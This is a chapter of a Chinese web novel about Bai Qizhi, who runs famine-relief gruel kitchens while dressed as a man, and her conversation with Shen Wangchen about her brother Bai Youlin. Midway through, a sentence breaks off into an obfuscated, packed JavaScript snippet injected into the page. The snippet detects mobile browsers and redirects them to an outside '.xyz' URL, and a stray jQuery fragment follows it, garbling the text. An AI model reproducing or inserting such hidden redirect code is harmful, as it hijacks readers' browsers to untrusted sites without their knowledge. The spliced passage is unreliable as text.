这几日白栖枝忙得脚不沾地。
她每天天不亮就要清点粮仓,协调官府调粮,确保灾民不断粮。安排伙夫杂役轮值、修理灶台粥棚、维持秩序等琐事已让她筋疲力尽。施粥时还需分时段、区分老弱妇孺与青壮,以防冲突。
除此以外,粥棚周边还要搭建窝棚遮风挡雨,同时挖掘排水沟、修建茅厕,严防疫病蔓延。
几套事山一样地压下来,白栖枝跟移山的愚公一样,忙得连喝口水的工夫都没有,常常天黑了才回府,累得连晚饭都吃不下,倒头就睡。第二天鸡还没叫,又得换上男装赶去现场。
府里下人们都心疼她,变着法子给她炖补品,甚至翻出了珍藏的鹿血酒,说要给她补身子。
幸而沈忘尘知晓她不胜酒力,得知此事,立马这荒诞的念头驳回,吩咐让大家一切照旧,别给她平添负担,这才勉强维持府内秩序。
好在这般辛苦总算没白费。
在白栖枝日复一日的折腾下,林家的声望也水涨船高,连带着“白胜宁”这个名号如今在淮安城里无人不知。
——白胜宁。
自从扮作男儿身,白栖枝办事确实顺当多了。
那些从前瞧不起她的人,现在顶多背地里嘀咕两句“毛头小子不懂事“,再不敢明目张胆地刁难。
有时就连她自己也不免感慨:
身为男子,举止粗鲁些叫豪爽;脾气差点叫耿直;就算得罪了人,旁人也只当是年轻气盛。
当真是十分痛快!
甚至有几次,她看着那些昔日在商会上百般刁难,如今却对她笑面拱手作揖的几位商贾时,差点就要笑出声。
她要是早知换个装扮就能省去这么多麻烦,又何苦当年吃苦受罪、挨那么多平白无故的打?
不过若真让白栖枝重新选,她还是想做一位姑娘。
毕竟正是因为女儿身,她才能遇见那些对她真心相助的贵人们。
且不论赠一箱黄金又在暗中为她提供人财物力的温若寒,单论香玉坊的这些姊妹们,自从被派到各个粥棚处帮忙维持秩序后,她们就自发帮忙设支粥簿,记录每日施粥数量、领取人数,防止有人贪污或重复领取。
姑娘们胆大心细,光是前三日就抓到搬作难民趁机来占便宜的无赖十几人,而后她们吸取教训,也学着白栖枝当年那样,在赈灾粥液中撒上一把砂砾,以防有人喝饱还来占小便宜。
有她们在,白栖枝觉得自己再苦再累也值得!
不过,也多亏了姑娘们,在接连奔波了五日后,白栖枝总算能从百忙之中抽出身来,陪沈忘尘半个时辰。
自从给工人们发放工钱后这人又累得发病,好在这次不似以往来势汹汹,休息几日便恢复如初。
可白栖枝倒地还是担心,倘若沈忘尘出了事,如今还飘在海里当水鬼的那位回来后不得恨得要绞杀了她?
哪怕是为了自己如纸般薄的命,她再难再累也要照看好沈忘尘这个与她性命息息相关的大人物。
况且……
那日沈忘尘像是想要问她什么事,只是她来去匆匆没有细听,今日她偷得浮生半日闲,便让他问个痛快,不然这人老把事情憋在心里,思虑过重身子会败下去的。
她还没有让他死掉的打算。
“所以,你那日是想问我什么?”
感受着小木头柔软的小爪子在自己大腿肉上一踩一踩,白栖枝转头看向一直看她摸猫含笑的沈忘尘,说:
“你问我有没有去哪座书院读过书,是把我错认成什么故人了么?”
她此刻还着男装,眉心红痣被遮掩,束起的马尾和粗布衣衫让她看起来确实像位清秀的少年。
更何况近日来,白栖枝总在男人堆里混,耳濡目染间也沾染了些男人的举止习惯,潇洒不羁中又藏了几分秀外慧中,惹得不少女儿家对她芳心暗许,倒叫她不知如何是好。
毕竟就连白栖枝自己都没想到,她只是换了身衣服,就连带着性格也地覆天翻。
昔日唯唯诺诺的白栖枝转瞬不见,取而代之的是风流恣意的白胜宁,连带着眼尾眉梢间都藏了几分锐气。如同一把藏锋依旧的剑,正跃跃欲试地向世人渐渐展露出它的锋芒。
沈忘尘对她这副模样有种说不出的眼熟。
在白栖枝开口发问前,他就一直盯着她的脸出神。
直到听见她的声音,沈忘尘才回过神来,目光微转,落在小木头身上。
“不瞒你说,”他声音轻柔,目光却飘向远处,“你现在的样子,让我想起一位故人。”
白栖枝正轻抚小木头的手微微一顿:“故人?是你的亲友?”
“不,”沈忘尘收回视线,指尖无意识地摩挲着茶杯边缘,“是我的一位学弟。”
白栖枝的手指在小木头的背上停顿了一下。
只是这短暂的停顿,小木头便敏锐地察觉到她的情绪变化,扬起脑袋,用湿漉漉的鼻尖碰了碰她的指尖。
白栖枝的声音一下子清浅起来:“你说的应该是我兄长吧。”她指尖无意识地描摹着小木头的轮廓,“我们兄妹确实相像,小时候连爹娘都说,若不是年岁差得多,怕是连他们都分不清。”
“这样么,你兄长他……”
“白胜安。”
陌生的名字叫沈忘尘蹙起眉头。
他在脑海中仔细搜寻,却总觉得这中间差了什么。
白栖枝又道:“如果这个名字你耳生的话,那——白幼麟呢?”
白幼麟。
这三个字就像是一滴墨落入清水,无论是放在十二年前的长平,还是放在如今的沈忘尘耳边,都实在令人无法忽视。
那可是整个明德学院千百年来都不世出的麒麟才子!
十岁熟背经史子集,十二岁作《河洛赋》,十四岁在御前与太学生辩经,引经据典,舌灿莲花,辩得满堂宿儒哑口无言。
沈忘尘与他同为一师,自然明白自己这位学弟有多么风光无量,就连老师也经常对他赞不绝口。
唯一的憾事就是那位学弟实在是读书不仔细,经常喜欢耍些小聪明,写出来的文章不是离经叛道就是不合礼数,搞得先生总是为他的前途担忧。
且,那位学弟还经常喜欢翘课去玩,十天恨不能有七天说是要带妹妹出去玩。
谁能想到,那个总爱趴在窗棂上朝他挤眉弄眼,腰间环佩叮当作响,总爱对他说“劳烦师兄再替我瞒一回,幼妹在家中等着呢”的少年,口中的幼妹居然是白栖枝!
也是。
白幼麟、白栖枝。
但凡稍微一想便能知道两人同出一家。
只是这白家兄妹一个是麒麟才子、一个是心善小菩萨,在长平都是各自出名各的,让人鲜少能将他们联系到一起去。
“中原莫道无麟凤,自是皇家结网疏。”
沈忘尘无意识地念出这句诗后,猛然意识到其中大逆不道的意味,连忙端起茶盏掩饰失言。
他暗自思忖:若将白胜安比作“麟”,那白栖枝岂不正对应着“凤”?
如此说来,那“栖枝”二字又是否暗含“凤栖梧桐枝”一意?
想到这里,他不禁为那位已故书画院翰林的大胆命名而感到讶异。
若真如他所解,这位白大人为子女取名时,难道还能藏有这般僭越的心思?
“怎么了?”
难得见他露出一片空白神色,白栖枝不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048053|157766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在挑逗小木头,反而偏过头来看他。
“没什么。”沈忘尘从一片震惊中回过神来,微微笑道,“没想到,枝枝居然是那位白学弟的幼妹。白家一麟一凤,倒也相得益彰。”
“我知道你想说什么。”白栖枝一脸无所谓的神情,“昔日我阿兄取表字幼麟时,也有人问过我阿父,倘若兄为麟,那其妹莫不是凤?倘若真是凤的话,白兄可是想让枝枝嫁入皇宫做娘娘?你猜,我阿父如何答他?”
“如何?”
白栖枝悠然一笑,将小木头腾空举起,桃红色的薄唇噙着一抹不易擦觉的微笑:“我阿父说:‘彩凤终栖彩凤,真龙自当配真龙’。”
自古文人最爱将龙凤并称,却不知龙腾九霄、凤栖梧桐,本是两种生灵。
真龙岂与彩凤配?真龙自当配真龙。
沈忘尘只觉此言甚妙。
可妙过之后又不由得一阵怅然。
“你在惋惜?”察觉到气氛低迷,白栖枝转头看他,勾唇浅浅一笑,“无妨的。家父常教导说,才高易折,情浓难久,慧极反伤。此乃天道常理,人各有命,强求不得。”倒是安慰起他来了。
沈忘尘说不清自己是什么滋味。
眼前的孩子明明就坐在他面前,有说有笑,鲜活生动,却总让他觉得像一阵风似的,怎么也抓不住。仿佛下一秒就会从指缝间溜走,飘到遥不可及的地方,远远地望着他们。光是想到日后终将分别,他的心就隐隐作痛。
“对了沈忘尘。”放下小木头,白栖枝突然朝他问道,“你最近在府中很忙吗?”
“不忙的,枝枝是有什么要我帮忙么?”
白栖枝指尖绞着衣角,声音越来越小:“其实也不是什么大事,就是……”她期期艾艾了一会儿,突然抬头,问,“你想不想陪我去粥棚施粥?”
沈忘尘怔住:“我?”
“嗯!”她眼睛亮起来,像是怕他拒绝似的急急补充,“反正你在府里也闲着,不如一起去?顺便把芍药姐也带上。”
沈忘尘指尖无意识地摩挲着轮椅扶手。
原来是要借芍药啊……
他太清楚自己的状况——这副残破身躯连端碗粥都做不到,去了只会平添麻烦。白栖枝邀他同往,不过是为了名正言顺借用芍药,又顾忌他的颜面罢了。
“枝枝若要用芍药,直说便是。”他嘴角挂着恰到好处的笑,“不必特意带上我这个累赘。”
“什么累赘不累赘的啊?沈忘尘,你脑子里一天天究竟都在想什么啊?”白栖枝有些生气,一副恨不得用拳头把他脑壳砸开看看的样子,就连连带着语气语调都有些急,“我只是觉得整日闷在府里会无聊才想着带你出去的!至于芍药姐,我是觉得你跟在我旁边可能会有危险,如果有她在的话,兴许还能安全些,你这样天天瞎想,我可是会很生气的!”
这句话像块石头,咚地砸进他死水般的心湖。沈忘尘愕然抬头,正对上少女认真的目光。
“真的?”他觉得自己像是在做梦。
“我有对你说过一句谎话么沈忘尘?”白栖枝甚至扳着手指数起来,“你看看你,一天天总不出门,连晒太阳都要人催。我想着有人陪着你的话,说不定你的心情会好些?再说,”她声音渐低,“你最近那副万事不入心的模样,实在叫人担心。再这样下去,我真怕你哪天……”
“怕我什么?”
“怕你哪天一个不顺心就又要做一些漠视人命的事。”白栖枝脱口而出,又急忙摆手,“玩笑话!但你真的该出去走走了。而且,”
她突然深吸一口气,双手合十,杏眸里盛着罕见的恳切:
“我有事一相求。劳驾了,请务必陪我走一趟吧。”